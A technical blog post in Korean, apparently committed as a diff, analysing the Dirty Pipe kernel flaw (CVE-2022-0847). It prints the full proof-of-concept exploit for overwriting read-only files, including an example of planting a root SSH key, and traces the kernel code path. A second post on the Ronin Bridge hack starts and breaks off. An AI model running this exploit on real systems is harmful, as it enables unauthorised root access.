+
+
+

DirtyPipe Review

+ +
+ +

read only 파일을 arbitrary하게 write 할 수 있는 취약점이 disclosure 됐다. 이 취약점을 dirty pipe라고 부르는데 익스플로잇 내용이 이름처럼 dirty cow 취약점과 유사해 보인다.

+ +
From: Max Kellermann <max.kellermann@ionos.com>
+To: linux-kernel@vger.kernel.org, viro@zeniv.linux.org.uk,
+	linux-fsdevel@vger.kernel.org
+Cc: Max Kellermann <max.kellermann@ionos.com>, stable@vger.kernel.org
+Subject: [PATCH] lib/iov_iter: initialize "flags" in new pipe_buffer
+Date: Mon, 21 Feb 2022 11:03:13 +0100	[thread overview]
+Message-ID: <20220221100313.1504449-1-max.kellermann@ionos.com> (raw)
+
+The functions copy_page_to_iter_pipe() and push_pipe() can both
+allocate a new pipe_buffer, but the "flags" member initializer is
+missing.
+
+Fixes: 241699cd72a8 ("new iov_iter flavour: pipe-backed")
+To: Alexander Viro <viro@zeniv.linux.org.uk>
+To: linux-fsdevel@vger.kernel.org
+To: linux-kernel@vger.kernel.org
+Cc: stable@vger.kernel.org
+Signed-off-by: Max Kellermann <max.kellermann@ionos.com>
+---
+ lib/iov_iter.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/lib/iov_iter.c b/lib/iov_iter.c
+index b0e0acdf96c1..6dd5330f7a99 100644
+--- a/lib/iov_iter.c
++++ b/lib/iov_iter.c
+@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
+ 		return 0;
+ 
+ 	buf->ops = &page_cache_pipe_buf_ops;
++	buf->flags = 0;
+ 	get_page(page);
+ 	buf->page = page;
+ 	buf->offset = offset;
+@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
+ 			break;
+ 
+ 		buf->ops = &default_pipe_buf_ops;
++		buf->flags = 0;
+ 		buf->page = page;
+ 		buf->offset = 0;
+ 		buf->len = min_t(ssize_t, left, PAGE_SIZE);
+
+ +

취약점 패치 내용을 보면, struct pipe_buffer 오브젝트를 새로운 내용으로 초기화 해주는 과정에서 flags 필드를 초기화 안해주면서 발생하는 것으로 보인다. published disclosure를 보면 flags가 이전에 초기화 된PIPE_BUF_FLAG_CAN_MERGE가 존재해서 파일을 덮을 수 있다고 나와있다.

+ +
...
+if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
+		    offset + chars <= PAGE_SIZE) {
+			ret = pipe_buf_confirm(pipe, buf);
+			if (ret)
+				goto out;
+
+			ret = copy_page_from_iter(buf->page, offset, chars, from);
+			if (unlikely(ret < chars)) {
+				ret = -EFAULT;
+				goto out;
+			}
+
+			buf->len += ret;
+			if (!iov_iter_count(from))
+				goto out;
+		}
+	}
+...
+
+ +

PIPE_BUF_FLAG_CAN_MERGE는 위 코드와 같이 pipe_write 함수에서만 사용되고, struct pipe_buffer 오브젝트에 있는 page를 맵핑하고 우리가 전달한 데이터를 write하는걸 볼 수 있다. (copy_page_from_iter 함수 내부에서) 그럼 buf→page가 어디선가 읽기 위한 page가 될 수 있다는 생각을 할 수 있다.

+ +
/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 4096
+#endif
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+	if (pipe(p)) abort();
+
+	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+	static char buffer[4096];
+
+	/* fill the pipe completely; each pipe_buffer will now have
+	   the PIPE_BUF_FLAG_CAN_MERGE flag */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		write(p[1], buffer, n);
+		r -= n;
+	}
+
+	/* drain the pipe, freeing all pipe_buffer instances (but
+	   leaving the flags initialized) */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		read(p[0], buffer, n);
+		r -= n;
+	}
+
+	/* the pipe is now empty, and if somebody adds a new
+	   pipe_buffer without initializing its "flags", the buffer
+	   will be mergeable */
+}
+
+int main(int argc, char **argv)
+{
+	if (argc != 4) {
+		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
+		return EXIT_FAILURE;
+	}
+
+	/* dumb command-line argument parser */
+	const char *const path = argv[1];
+	loff_t offset = strtoul(argv[2], NULL, 0);
+	const char *const data = argv[3];
+	const size_t data_size = strlen(data);
+
+	if (offset % PAGE_SIZE == 0) {
+		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
+		return EXIT_FAILURE;
+	}
+
+	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
+	const loff_t end_offset = offset + (loff_t)data_size;
+	if (end_offset > next_page) {
+		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
+		return EXIT_FAILURE;
+	}
+
+	/* open the input file and validate the specified offset */
+	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
+	if (fd < 0) {
+		perror("open failed");
+		return EXIT_FAILURE;
+	}
+
+	struct stat st;
+	if (fstat(fd, &st)) {
+		perror("stat failed");
+		return EXIT_FAILURE;
+	}
+
+	if (offset > st.st_size) {
+		fprintf(stderr, "Offset is not inside the file\n");
+		return EXIT_FAILURE;
+	}
+
+	if (end_offset > st.st_size) {
+		fprintf(stderr, "Sorry, cannot enlarge the file\n");
+		return EXIT_FAILURE;
+	}
+
+	/* create the pipe with all flags initialized with
+	   PIPE_BUF_FLAG_CAN_MERGE */
+	int p[2];
+	prepare_pipe(p);
+
+	/* splice one byte from before the specified offset into the
+	   pipe; this will add a reference to the page cache, but
+	   since copy_page_to_iter_pipe() does not initialize the
+	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+	--offset;
+	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0) {
+		perror("splice failed");
+		return EXIT_FAILURE;
+	}
+	if (nbytes == 0) {
+		fprintf(stderr, "short splice\n");
+		return EXIT_FAILURE;
+	}
+
+	/* the following write will not create a new pipe_buffer, but
+	   will instead write into the page cache, because of the
+	   PIPE_BUF_FLAG_CAN_MERGE flag */
+	nbytes = write(p[1], data, data_size);
+	if (nbytes < 0) {
+		perror("write failed");
+		return EXIT_FAILURE;
+	}
+	if ((size_t)nbytes < data_size) {
+		fprintf(stderr, "short write\n");
+		return EXIT_FAILURE;
+	}
+
+	printf("It worked!\n");
+	return EXIT_SUCCESS;
+}
+
+ +

간단하게 read only 파일을 수정하는 PoC 코드이다. 위 코드에서 pipe 관련 함수와, splice라는 함수만 사용하고, PoC를 이해하기 위해 사용되는 함수들을 간단하게 알아보자

+ +
#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+int main()
+{
+	int pipe_fds[2];
+	char out[100] = {0,};
+	pipe(pipe_fds);
+	write(pipe_fds[1], "asd", 3);
+	read(pipe_fds[0], out, 3);
+	printf("out : %s\n", out);
+	printf("hello world\n");
+	return 0;
+}
+jack@seonunghardt:~/dirtypipe$ ./pipe
+out : asd
+hello world
+
+ +

pipe는 위 예제 코드와 같이 사용자가 데이터를 따로 저장하지 않고 FIFO 형식으로 데이터를 주고 받기 위한 서비스다. 간단하게 커널에서 어떻게 동작하는지 알아보자.

+ +
static ssize_t
+pipe_write(struct kiocb *iocb, struct iov_iter *from)
+{
+	...
+	if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
+			unsigned int mask = pipe->ring_size - 1;
+			struct pipe_buffer *buf = &pipe->bufs[head & mask];
+			struct page *page = pipe->tmp_page;
+			int copied;
+
+			if (!page) {
+				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
+				if (unlikely(!page)) {
+					ret = ret ? : -ENOMEM;
+					break;
+				}
+				pipe->tmp_page = page;
+			}
+
+			/* Allocate a slot in the ring in advance and attach an
+			 * empty buffer.  If we fault or otherwise fail to use
+			 * it, either the reader will consume it or it'll still
+			 * be there for the next write.
+			 */
+			spin_lock_irq(&pipe->rd_wait.lock);
+
+			head = pipe->head;
+			if (pipe_full(head, pipe->tail, pipe->max_usage)) {
+				spin_unlock_irq(&pipe->rd_wait.lock);
+				continue;
+			}
+
+			pipe->head = head + 1;
+			spin_unlock_irq(&pipe->rd_wait.lock);
+
+			/* Insert it into the buffer array */
+			buf = &pipe->bufs[head & mask];
+			buf->page = page;
+			buf->ops = &anon_pipe_buf_ops;
+			buf->offset = 0;
+			buf->len = 0;
+			if (is_packetized(filp))
+				buf->flags = PIPE_BUF_FLAG_PACKET;
+			else
+				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
+			pipe->tmp_page = NULL;
+
+			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
+			if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
+				if (!ret)
+					ret = -EFAULT;
+				break;
+			}
+...
+
+ +

pipe에 데이터를 write하면 pipe_write 함수가 호출된다.(create_pipe_files, pipefifo_fops 참고해주세요.) pipe_write 함수는 새로운 page를 할당해서 struct pipe_buffer 오브젝트에 넣고, copy_page_from_iter 함수에서 page를 맵핑하고 우리가 전달한 데이터를 쓴다.

+ +
if (!pipe_empty(head, tail)) {
+			struct pipe_buffer *buf = &pipe->bufs[tail & mask];
+			size_t chars = buf->len;
+			size_t written;
+			int error;
+
+			if (chars > total_len) {
+				if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
+					if (ret == 0)
+						ret = -ENOBUFS;
+					break;
+				}
+				chars = total_len;
+			}
+
+			error = pipe_buf_confirm(pipe, buf);
+			if (error) {
+				if (!ret)
+					ret = error;
+				break;
+			}
+
+			written = copy_page_to_iter(buf->page, buf->offset, chars, to);
+			if (unlikely(written < chars)) {
+				if (!ret)
+					ret = -EFAULT;
+				break;
+			}
+
+ +

pipe를 read하면, pipe_read 함수가 호출되는데, pipe_write 함수에서 할당한 page로부터 데이터를 읽어온다.

+ +

정리해보자면, pipe는 커널에서 만든 페이지에 데이터를 쓰고 읽으며 동작한다.

+ +

다음으로 splice 함수를 봐보자.

+ +
ssize_t splice(int fd_in, off64_t *off_in, int fd_out, off64_t *off_out, size_t len, unsigned int flags);
+
+ +

splice 함수는 두개의 파일 디스크립터를 받아서 데이터를 복사해주는 함수이고, 위 프로토타입과 같이 fd_in에 전달한 파일 디스크립터의 내용을 fd_out로 len만큼 데이터를 복사한다.

+ +
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+
+ +

PoC에서 splice 함수를 호출 할 때 fd_in에 write하고 싶은 파일 디스크립터(읽기만 가능한)를 전달하고, fd_out에 pipe 파일 디스크립터를 전달한다. 커널에서 splice 함수가 어떻게 데이터를 복사하게 되는지, 이 과정에서 buf→page에 추후 읽게 되는 파일의 page가 들어가게 되는지 간단하게 봐보자.

+ +
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
+		int, fd_out, loff_t __user *, off_out,
+		size_t, len, unsigned int, flags)
+{
+	struct fd in, out;
+	long error;
+
+	if (unlikely(!len))
+		return 0;
+
+	if (unlikely(flags & ~SPLICE_F_ALL))
+		return -EINVAL;
+
+	error = -EBADF;
+	in = fdget(fd_in);
+	if (in.file) {
+		out = fdget(fd_out);
+		if (out.file) {
+			error = __do_splice(in.file, off_in, out.file, off_out,
+						len, flags);
+			fdput(out);
+		}
+		fdput(in);
+	}
+	return error;
+}
+
+ +

splice 함수에 전달 된 2개의 파일 디스크립터로 file 오브젝트를 구하고 __do_splice 함수로 전달한다.

+ +
static long __do_splice(struct file *in, loff_t __user *off_in,
+			struct file *out, loff_t __user *off_out,
+			size_t len, unsigned int flags)
+{
+	struct pipe_inode_info *ipipe;
+	struct pipe_inode_info *opipe;
+	loff_t offset, *__off_in = NULL, *__off_out = NULL;
+	long ret;
+
+	ipipe = get_pipe_info(in, true);
+	opipe = get_pipe_info(out, true);
+
+	if (ipipe && off_in)
+		return -ESPIPE;
+	if (opipe && off_out)
+		return -ESPIPE;
+
+	if (off_out) {
+		if (copy_from_user(&offset, off_out, sizeof(loff_t)))
+			return -EFAULT;
+		__off_out = &offset;
+	}
+	if (off_in) {
+		if (copy_from_user(&offset, off_in, sizeof(loff_t)))
+			return -EFAULT;
+		__off_in = &offset;
+	}
+
+	ret = do_splice(in, __off_in, out, __off_out, len, flags);
+	if (ret < 0)
+		return ret;
+
+	if (__off_out && copy_to_user(off_out, __off_out, sizeof(loff_t)))
+		return -EFAULT;
+	if (__off_in && copy_to_user(off_in, __off_in, sizeof(loff_t)))
+		return -EFAULT;
+
+	return ret;
+}
+
+ +

전달 된 file 오브젝트로부터 pipe_inode_info를 구해와서 기타 인자와 함께 검증하고 _splice 함수를 호출한다.

+ +
long do_splice(struct file *in, loff_t *off_in, struct file *out,
+	       loff_t *off_out, size_t len, unsigned int flags)
+{
+	struct pipe_inode_info *ipipe;
+	struct pipe_inode_info *opipe;
+	loff_t offset;
+	long ret;
+
+	if (unlikely(!(in->f_mode & FMODE_READ) ||
+		     !(out->f_mode & FMODE_WRITE)))
+		return -EBADF;
+
+	ipipe = get_pipe_info(in, true);
+	opipe = get_pipe_info(out, true);
+
+	if (ipipe && opipe) {
+		if (off_in || off_out)
+			return -ESPIPE;
+
+		/* Splicing to self would be fun, but... */
+		if (ipipe == opipe)
+			return -EINVAL;
+
+		if ((in->f_flags | out->f_flags) & O_NONBLOCK)
+			flags |= SPLICE_F_NONBLOCK;
+
+		return splice_pipe_to_pipe(ipipe, opipe, len, flags);
+	}
+
+	if (ipipe) {
+		if (off_in)
+			return -ESPIPE;
+		if (off_out) {
+			if (!(out->f_mode & FMODE_PWRITE))
+				return -EINVAL;
+			offset = *off_out;
+		} else {
+			offset = out->f_pos;
+		}
+
+		if (unlikely(out->f_flags & O_APPEND))
+			return -EINVAL;
+
+		ret = rw_verify_area(WRITE, out, &offset, len);
+		if (unlikely(ret < 0))
+			return ret;
+
+		if (in->f_flags & O_NONBLOCK)
+			flags |= SPLICE_F_NONBLOCK;
+
+		file_start_write(out);
+		ret = do_splice_from(ipipe, out, &offset, len, flags);
+		file_end_write(out);
+
+		if (!off_out)
+			out->f_pos = offset;
+		else
+			*off_out = offset;
+
+		return ret;
+	}
+
+	if (opipe) {
+		if (off_out)
+			return -ESPIPE;
+		if (off_in) {
+			if (!(in->f_mode & FMODE_PREAD))
+				return -EINVAL;
+			offset = *off_in;
+		} else {
+			offset = in->f_pos;
+		}
+
+		if (out->f_flags & O_NONBLOCK)
+			flags |= SPLICE_F_NONBLOCK;
+
+		ret = splice_file_to_pipe(in, opipe, &offset, len, flags);
+		if (!off_in)
+			in->f_pos = offset;
+		else
+			*off_in = offset;
+
+		return ret;
+	}
+
+	return -EINVAL;
+}
+
+ +

파일 디스크립터에 대한 여러가지 검사 후, 타입에 따라 하위 함수를 호출하게 되는데, PoC 코드에서 fd_in을 pipe 파일 디스크립터가 아닌 것으로, fd_out을 pipe 파일 디스크립터로 전달했기 때문에 splice_file_to_pipe 함수가 호출 된다.

+ +
long splice_file_to_pipe(struct file *in,
+			 struct pipe_inode_info *opipe,
+			 loff_t *offset,
+			 size_t len, unsigned int flags)
+{
+	long ret;
+
+	pipe_lock(opipe);
+	ret = wait_for_space(opipe, flags);
+	if (!ret)
+		ret = do_splice_to(in, offset, opipe, len, flags);
+	pipe_unlock(opipe);
+	if (ret > 0)
+		wakeup_pipe_readers(opipe);
+	return ret;
+}
+
+ +

splice_file_to_pipe 함수는 pipe_inode_info 오브젝트에 대한 검사와 do_splice_to 함수를 호출한다.

+ +
static long do_splice_to(struct file *in, loff_t *ppos,
+			 struct pipe_inode_info *pipe, size_t len,
+			 unsigned int flags)
+{
+	unsigned int p_space;
+	int ret;
+
+	if (unlikely(!(in->f_mode & FMODE_READ)))
+		return -EBADF;
+
+	/* Don't try to read more the pipe has space for. */
+	p_space = pipe->max_usage - pipe_occupancy(pipe->head, pipe->tail);
+	len = min_t(size_t, len, p_space << PAGE_SHIFT);
+
+	ret = rw_verify_area(READ, in, ppos, len);
+	if (unlikely(ret < 0))
+		return ret;
+
+	if (unlikely(len > MAX_RW_COUNT))
+		len = MAX_RW_COUNT;
+
+	if (unlikely(!in->f_op->splice_read))
+		return warn_unsupported(in, "read");
+	return in->f_op->splice_read(in, ppos, pipe, len, flags);
+}
+
+ +

또 다른 검사와 fd_in으로 전달 한 파일 디스크립터 fops에 등록된 splice_read함수를 실행한다.

+ +
ssize_t generic_file_splice_read(struct file *in, loff_t *ppos,
+				 struct pipe_inode_info *pipe, size_t len,
+				 unsigned int flags)
+{
+	struct iov_iter to;
+	struct kiocb kiocb;
+	unsigned int i_head;
+	int ret;
+
+	iov_iter_pipe(&to, READ, pipe, len);
+	i_head = to.head;
+	init_sync_kiocb(&kiocb, in);
+	kiocb.ki_pos = *ppos;
+	ret = call_read_iter(in, &kiocb, &to);
+	if (ret > 0) {
+		*ppos = kiocb.ki_pos;
+		file_accessed(in);
+	} else if (ret < 0) {
+		to.head = i_head;
+		to.iov_offset = 0;
+		iov_iter_advance(&to, 0); /* to free what was emitted */
+		/*
+		 * callers of ->splice_read() expect -EAGAIN on
+		 * "can't put anything in there", rather than -EFAULT.
+		 */
+		if (ret == -EFAULT)
+			ret = -EAGAIN;
+	}
+
+	return ret;
+}
+
+ +

socket, trace쪽이 아니라면 일반적으로 generic_file_read_iter 함수가 호출된다. 읽고 쓰기 위한 파일 디스크립터 정보들을 struct iov_iter와 struct kiocb에 초기화 해주고 call_read_iter 함수를 호출한다.

+ +
static inline ssize_t call_read_iter(struct file *file, struct kiocb *kio,
+				     struct iov_iter *iter)
+{
+	return file->f_op->read_iter(kio, iter);
+}
+
+ +

read_iter 함수를 호출하는데 파일 시스템마다 다르지만 일반적으로는 generic_file_read_iter 함수를 호출한다.

+ +
ssize_t filemap_read(struct kiocb *iocb, struct iov_iter *iter,
+		ssize_t already_read)
+{
+	struct file *filp = iocb->ki_filp;
+	struct file_ra_state *ra = &filp->f_ra;
+	struct address_space *mapping = filp->f_mapping;
+	struct inode *inode = mapping->host;
+	struct folio_batch fbatch;
+	int i, error = 0;
+	bool writably_mapped;
+	loff_t isize, end_offset;
+
+	if (unlikely(iocb->ki_pos >= inode->i_sb->s_maxbytes))
+		return 0;
+	if (unlikely(!iov_iter_count(iter)))
+		return 0;
+
+	iov_iter_truncate(iter, inode->i_sb->s_maxbytes);
+	folio_batch_init(&fbatch);
+
+	do {
+		cond_resched();
+
+		/*
+		 * If we've already successfully copied some data, then we
+		 * can no longer safely return -EIOCBQUEUED. Hence mark
+		 * an async read NOWAIT at that point.
+		 */
+		if ((iocb->ki_flags & IOCB_WAITQ) && already_read)
+			iocb->ki_flags |= IOCB_NOWAIT;
+
+		if (unlikely(iocb->ki_pos >= i_size_read(inode)))
+			break;
+
+		error = filemap_get_pages(iocb, iter, &fbatch);
+		if (error < 0)
+			break;
+
+		/*
+		 * i_size must be checked after we know the pages are Uptodate.
+		 *
+		 * Checking i_size after the check allows us to calculate
+		 * the correct value for "nr", which means the zero-filled
+		 * part of the page is not copied back to userspace (unless
+		 * another truncate extends the file - this is desired though).
+		 */
+		isize = i_size_read(inode);
+		if (unlikely(iocb->ki_pos >= isize))
+			goto put_folios;
+		end_offset = min_t(loff_t, isize, iocb->ki_pos + iter->count);
+
+		/*
+		 * Once we start copying data, we don't want to be touching any
+		 * cachelines that might be contended:
+		 */
+		writably_mapped = mapping_writably_mapped(mapping);
+
+		/*
+		 * When a sequential read accesses a page several times, only
+		 * mark it as accessed the first time.
+		 */
+		if (iocb->ki_pos >> PAGE_SHIFT !=
+		    ra->prev_pos >> PAGE_SHIFT)
+			folio_mark_accessed(fbatch.folios[0]);
+
+		for (i = 0; i < folio_batch_count(&fbatch); i++) {
+			struct folio *folio = fbatch.folios[i];
+			size_t fsize = folio_size(folio);
+			size_t offset = iocb->ki_pos & (fsize - 1);
+			size_t bytes = min_t(loff_t, end_offset - iocb->ki_pos,
+					     fsize - offset);
+			size_t copied;
+
+			if (end_offset < folio_pos(folio))
+				break;
+			if (i > 0)
+				folio_mark_accessed(folio);
+			/*
+			 * If users can be writing to this folio using arbitrary
+			 * virtual addresses, take care of potential aliasing
+			 * before reading the folio on the kernel side.
+			 */
+			if (writably_mapped)
+				flush_dcache_folio(folio);
+
+			copied = copy_folio_to_iter(folio, offset, bytes, iter);
+
+			already_read += copied;
+			iocb->ki_pos += copied;
+			ra->prev_pos = iocb->ki_pos;
+
+			if (copied < bytes) {
+				error = -EFAULT;
+				break;
+			}
+		}
+put_folios:
+		for (i = 0; i < folio_batch_count(&fbatch); i++)
+			folio_put(fbatch.folios[i]);
+		folio_batch_init(&fbatch);
+	} while (iov_iter_count(iter) && iocb->ki_pos < isize && !error);
+
+	file_accessed(filp);
+
+	return already_read ? already_read : error;
+}
+
+ +

generic_file_read_iter 함수는 filemap_read 함수를 호출한다. 이 함수에서는 splice 함수의 핵심인 파일을 읽고 복사를 한다. 여기서 page cache 개념을 짚고 넘어가야한다. 운영체계에서 cpu가 디스크 I/O 작업을 하면서 직접적으로 디스크에 access 할 때 오버헤드가 크기 때문에 디스크의 내용을 읽어 page cache에다가 저장해두고 다음에 읽을 때 page cache로 부터 내용을 읽어온다. filemap_read 함수는 page cache로부터 내용을 읽어오고 정확히는 filemap_get_pages에서 page cache의 folio를 fbatch에 담아온다. 만약에 page cache가 없다면 다음 reader를 위해 folio를 할당해서 page cache에다가 추가하는 과정도 함께 있다.

+ +

위 코드가 구조적으로 왜 존재하는지, page cache과 folio에 관한 자세한 내용은 아래 레퍼런스를 참고해주세요.

+ + + +
static inline size_t copy_folio_to_iter(struct folio *folio, size_t offset,
+		size_t bytes, struct iov_iter *i)
+{
+	return copy_page_to_iter(&folio->page, offset, bytes, i);
+}
+
+ +

page cache를 copy_page_to_iter 함수에 전달한다.

+ +
size_t copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
+			 struct iov_iter *i)
+{
+	size_t res = 0;
+	if (unlikely(!page_copy_sane(page, offset, bytes)))
+		return 0;
+	page += offset / PAGE_SIZE; // first subpage
+	offset %= PAGE_SIZE;
+	while (1) {
+		size_t n = __copy_page_to_iter(page, offset,
+				min(bytes, (size_t)PAGE_SIZE - offset), i);
+		res += n;
+		bytes -= n;
+		if (!bytes || !n)
+			break;
+		offset += n;
+		if (offset == PAGE_SIZE) {
+			page++;
+			offset = 0;
+		}
+	}
+	return res;
+}
+
+ +
static size_t __copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
+			 struct iov_iter *i)
+{
+	if (likely(iter_is_iovec(i)))
+		return copy_page_to_iter_iovec(page, offset, bytes, i);
+	if (iov_iter_is_bvec(i) || iov_iter_is_kvec(i) || iov_iter_is_xarray(i)) {
+		void *kaddr = kmap_local_page(page);
+		size_t wanted = _copy_to_iter(kaddr + offset, bytes, i);
+		kunmap_local(kaddr);
+		return wanted;
+	}
+	if (iov_iter_is_pipe(i))
+		return copy_page_to_iter_pipe(page, offset, bytes, i);
+	if (unlikely(iov_iter_is_discard(i))) {
+		if (unlikely(i->count < bytes))
+			bytes = i->count;
+		i->count -= bytes;
+		return bytes;
+	}
+	WARN_ON(1);
+	return 0;
+}
+
+ +
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
+			 struct iov_iter *i)
+{
+	struct pipe_inode_info *pipe = i->pipe;
+	struct pipe_buffer *buf;
+	unsigned int p_tail = pipe->tail;
+	unsigned int p_mask = pipe->ring_size - 1;
+	unsigned int i_head = i->head;
+	size_t off;
+
+	if (unlikely(bytes > i->count))
+		bytes = i->count;
+
+	if (unlikely(!bytes))
+		return 0;
+
+	if (!sanity(i))
+		return 0;
+
+	off = i->iov_offset;
+	buf = &pipe->bufs[i_head & p_mask];
+	if (off) {
+		if (offset == off && buf->page == page) {
+			/* merge with the last one */
+			buf->len += bytes;
+			i->iov_offset += bytes;
+			goto out;
+		}
+		i_head++;
+		buf = &pipe->bufs[i_head & p_mask];
+	}
+	if (pipe_full(i_head, p_tail, pipe->max_usage))
+		return 0;
+
+	buf->ops = &page_cache_pipe_buf_ops;
+	get_page(page);
+	buf->page = page;
+	buf->offset = offset;
+	buf->len = bytes;
+
+	pipe->head = i_head + 1;
+	i->iov_offset = offset + bytes;
+	i->head = i_head;
+out:
+	i->count -= bytes;
+	return bytes;
+}
+
+ +

copy_page_to_iter -> __copy_page_to_iter -> copy_page_to_iter_pipe 순으로 copy_page_to_iter_pipe 함수가(취약점이 패치 된) 호출되고, 우리가 읽고자하는 파일의 page cache가 struct pipe_buffer 오브젝트에 초기화 된다. 이 때 기존에 PIPE_BUF_FLAG_CAN_MERGE와 함께 초기화 된 struct pipe_buffer 오브젝트가 있다면 buf→flags를 초기화 하지 않기 때문에 buf→page에 들어오는 어떤 page든 우리의 데이터를 쓸 수 있게 되는 것이다. (이 때 page cache가 초기화 됨)

+ +

취약점을 트리거 하기 위한 copy_page_to_iter_pipe 함수는 아래 순서와 같이 호출된다.

+ +

splice -> __do_splice -> do_splice -> splice_file_to_pipe -> do_splice_to -> generic_file_splice_read -> call_read_iter -> generic_file_read_iter -> filemap_read -> copy_folio_to_iter -> copy_page_to_iter -> __copy_page_to_iter -> copy_page_to_iter_pipe

+ +
static ssize_t
+pipe_write(struct kiocb *iocb, struct iov_iter *from)
+{
+	struct file *filp = iocb->ki_filp;
+	struct pipe_inode_info *pipe = filp->private_data;
+	unsigned int head;
+	ssize_t ret = 0;
+	size_t total_len = iov_iter_count(from);
+	ssize_t chars;
+	bool was_empty = false;
+	bool wake_next_writer = false;
+
+	...
+
+	head = pipe->head;
+	was_empty = pipe_empty(head, pipe->tail);
+	chars = total_len & (PAGE_SIZE-1);
+	if (chars && !was_empty) {
+		unsigned int mask = pipe->ring_size - 1;
+		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
+		int offset = buf->offset + buf->len;
+
+		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
+		    offset + chars <= PAGE_SIZE) {
+			ret = pipe_buf_confirm(pipe, buf);
+			if (ret)
+				goto out;
+
+			ret = copy_page_from_iter(buf->page, offset, chars, from);
+			if (unlikely(ret < chars)) {
+				ret = -EFAULT;
+				goto out;
+			}
+
+			buf->len += ret;
+			if (!iov_iter_count(from))
+				goto out;
+		}
+	}
+
+	...
+}
+
+ +

최종적으로 pipe_write 함수를 호출하면, buf->flags & PIPE_BUF_FLAG_CAN_MERGE를 통과하고 copy_page_from_iter 함수 호출과 함께 buf→page에 있는 page cache가 우리의 데이터로 덮히게 된다. 다시 똑같은 파일을 읽게 된다면, 우리가 수정한 내용이 담겨있는 page cache를 읽게된다.

+ +
+
+
+ +
+
+
seonungjang
+
sujang@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-04-12/ronin-bridge-vuln-analysis.html b/docs/2022-04-12/ronin-bridge-vuln-analysis.html new file mode 100644 index 0000000..51378d3 --- /dev/null +++ b/docs/2022-04-12/ronin-bridge-vuln-analysis.html @@ -0,0 +1,269 @@ + + + + + + + + + + +Ronin Bridge Vulnerability Analysis + +Ronin Bridge Vulnerability Analysis | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Ronin Bridge Vulnerability Analysis
+
+
+ + 한호정 +
+
Apr 12, 2022
+
+
+
+
+
+

Ronin Bridge 취약점 분석

+ +

요약

+

Ethereum의 side-chain인 ‘Ronin Network’가 해킹을 당해 6억1500만달러(약 7400억원) 규모의 Ethereum이 탈취된 사건이 최근 알려졌다. 이 글에서는 Ronin Network가 무엇인지 알아보고 어떤 요소때문에 자금이 유출된건지, 대응은 어떻게 하고있는지에 대해서 알아본다

+ +

Ronin Network?

+

유명인기게임 “Axie Infinity”를 개발한 베트남의 “Sky mavis”라는 회사에서 Ethereum Network의 높은 수수료와 낮은 처리속도를 보완하기 위한 Side chain으로 등장했다.

+ +

Side Chain?

+

